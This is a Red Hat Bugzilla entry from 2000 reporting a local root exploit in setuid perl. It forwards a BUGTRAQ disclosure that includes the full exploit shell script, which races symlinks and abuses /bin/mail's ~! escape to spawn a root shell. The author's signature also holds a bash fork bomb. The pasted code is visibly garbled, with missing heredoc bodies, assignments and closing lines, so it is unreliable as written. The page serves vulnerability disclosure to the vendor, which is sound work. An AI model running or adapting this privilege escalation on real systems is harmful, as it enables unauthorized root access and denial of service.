This service will be undergoing maintenance at 00:00 UTC, 2016-09-28. It is expected to last about 1 hours
Bug 15630 - Root exploit in sperl
Root exploit in sperl
Status: CLOSED DUPLICATE of bug 15625
Product: Red Hat Linux
Classification: Retired
Component: perl (Show other bugs)
All Linux
high Severity medium
: ---
: ---
Assigned To: Crutcher Dunnavant
: Security
Depends On:
  Show dependency treegraph
Reported: 2000-08-07 08:13 EDT by ksparger
Modified: 2008-05-01 11:37 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2000-08-07 08:13:57 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:

Attachments (Terms of Use)

  None (edit)
Description ksparger 2000-08-07 08:13:56 EDT
As seen in BUGTRAQ over the weekend, there's a race condition vulnerability
in sperl which can be exploited to generate a root shell from a local

(BTW, my cut and pastes my be fsck'd up.  Might wanna check the BUGTRAQ
archives, if you can't duplicate.)

Content of the email in question:

Date: Sat, 5 Aug 2000 18:39:22 +0200
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
Subject: sperl 5.00503 (and newer ;) exploit
   1 Shown     74 lines  Text
   2          4.7 KB     Application, ""

Not much to say (except I feel little bit stupid posting it) ... This
exploit gives instant root, at least on RedHat 6.x/7.0 Linux boxes I have
available for tests... And for sure, all other systems are vulnerable as
well - it's just maybe this code will need some refining / tuning /
minor changes...

Below you'll find brief description of vulnerability and exploit itself,
written by me. Please note - I didn't developed everything by myself, I
get great support from Sebastian Krahmer - see development history. I
still pray he won't get angry on me (probably he will) - but he should be
listed at first any time you're talking about this vulnerablity (he made
me think with his findings :P).

I don't know who should be blamed - perl vendors? /bin/mail vendors for
putting undocumented (at least on manpage) features? Hmm... I guess it's
nobody's fault ;)

Requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not
available on every system, but I have no time to rewrite everything in C;
you can grab this code from RedHat distro or so) will be good... Don't
mail me if you can't use it - it works.

And now, some reading.

Michal Zalewski [] [tp.internet/security]
[] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=

Exploit code:


# Wonderful, lovely, world-smashing, exciting perl exploit. It works
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
# Development history of this exploit is really funny. I found this
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mailto interpret ~! commands (subshell requests) even if stdin is
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition.  I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
# Send comments, ideas and flames to <>
# Tested with sperl 5.00503, but should work with any other as well. 
# Good luck and don't abuse it.


echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <>"
echo "With great respect to Sebastian Krahmer..."


echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."

if [ ! -u $SUIDPERL ]; then
  echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
  echo "    does not exist at all. If there's +s perl binary available,"
  echo "    please change SUIDPERL variable within exploit code."
  exit 0

if [ ! -u $SUIDBIN ]; then
  echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist
  echo "    all. Please pick any other +s binary and change SUIDBIN
  echo "    within exploit code."
  exit 0

echo "[+] Checks passed, compiling flares and helper applications..."

cat >flare <<__eof__

print "Nothing can stop me now...\n";

cat >bighole.c <<__eof__
main() {

cat >sush.c <<__eof__
main() {

make bighole sush


if [ ! -x ./sush ]; then
  echo "[-] Oops, seems to me I cannot compile helper applications. Either"
  echo "    you don't have working 'make' or 'gcc' utility. If possible,"
  echo "    please compile bighole.c and sush.c manually (to bighole and
  exit 0

echo "[+] Setting up environment..."

chmod 4755 ./flare



export interactive=1

echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
echo "[+] heavy system load."

while :; do
  ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL
NAME" <./flare & ) &>/dev/null &
  ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
  if [ -u ./sush ]; then
    echo "[+] VOILA, BABE :-) Entering rootshell..."
    rm -f "$FILENAME" sush.c bighole bighole.c flare
    echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
    rm -f "$FILENAME" sush.c bighole bighole.c flare sush
    exit 0
Comment 1 Nalin Dahyabhai 2000-08-07 08:24:55 EDT

*** This bug has been marked as a duplicate of 15625 ***

Note You need to log in before you can comment on or make changes to this bug.